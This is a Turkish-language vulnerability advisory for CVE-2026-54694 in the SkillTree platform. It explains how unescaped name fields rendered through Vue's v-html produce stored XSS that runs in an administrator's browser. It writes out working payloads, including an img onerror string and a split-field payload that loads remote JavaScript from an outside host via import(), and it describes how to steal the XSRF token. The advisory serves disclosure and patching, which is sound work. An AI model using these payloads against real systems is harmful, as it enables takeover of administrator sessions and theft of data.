CVE-2026-54694

SkillTree bir mikro öğrenme oyunlaştırma platformudur. Versiyon 4.4.2 öncesinde, iki bağımsız kod hatası, artan etkili üç farklı istismar yoluyla tek bir istismar edilebilir saldırı zincirine dönüşmektedir. `StringHighlighter.js`, herhangi bir HTML varlık kodlaması yapmadan ham `value` alt dizelerini doğrudan bir şablon dizisine ekleyerek bir HTML dizesi oluşturur. `HighlightedValue.vue`, bu dizeyi ve filtrelenmemiş tüm düz değerleri, `innerHTML` belirleyen Vue'nun `v-html` direktifi aracılığıyla işler. Ayrı olarak, hesap kayıt uç noktası `firstName`, `lastName` ve `nickname` alanlarını kabul eder ve bunları herhangi bir HTML temizleme işlemi yapmadan saklar. Bir saldırgan, `firstName = "<img src=x onerror=alert(1)>"` (30 karakterlik alan sınırı dahilinde 28 karakter) ile kendi kaydını yapar ve herhangi bir testi ziyaret eder. Bir yönetici Quiz Runs sayfasını açtığında, yük (payload) yöneticinin tarayıcısında çalışır. Artan etkiye sahip üç saldırı yolu mevcuttur. Birincisi temel siteler arası betik çalıştırmadır (XSS). 30 karakter sınırına uyan herhangi bir bağımsız yük (örneğin 28 karakter olan `<img src=x onerror=alert(1)>`), yönetici normal kullanım sırasında çalışmalar sayfasına gittiğinde otomatik olarak tetiklenir. Yöneticinin tarayıcısında rastgele kod çalıştırma, ek hiçbir adım gerektirmeden doğrulanmıştır. İkincisi, `import()` aracılığıyla uzaktan betik yüklemedir. Bölünmüş alan tekniğini kullanarak (`lastName = "<img src=x"`, `firstName = "onerror=import('//nsas.cc/p')>"`), saldırgan kendi sunucusundan tam bir JavaScript dosyası yükler. Dosyanın boyut sınırı yoktur ve tüm projeleri silmek, arka kapı hesapları oluşturmak, kullanıcı verilerini boşaltmak veya bir keylogger kurmak gibi her türlü yönetici işlemini gerçekleştirebilir. Kimlik avı gerekmez; tek kısıtlama, URL'nin 11 karaktere sığmasıdır (`//nsas.cc/p`). Üçüncüsü ise tam çapraz site istek sahteciliği (CSRF) belirteci hırsızlığıdır. `eval(name)` kullanarak saldırgan, önce yöneticiye bir yönlendirme bağlantısı göndererek `window.name` değerini önceden bir veri hırsızlığı yüküyle ayarlar. Oturum çerezi `HttpOnly` olduğu için `document.cookie` üzerinden okunamaz; ancak XSRF belirteci okunabilirdir ve saldırgan, mağdurun tarayıcısı içinden yönetici API'lerini çağırmak ve yanıtları harici bir sunucuya aktarmak için aynı kökenli yürütmeyi kullanır. Rutin kullanım dışında herhangi bir yönetici etkileşimi gerekmez. Versiyon 4.4.2 bir yama içermektedir.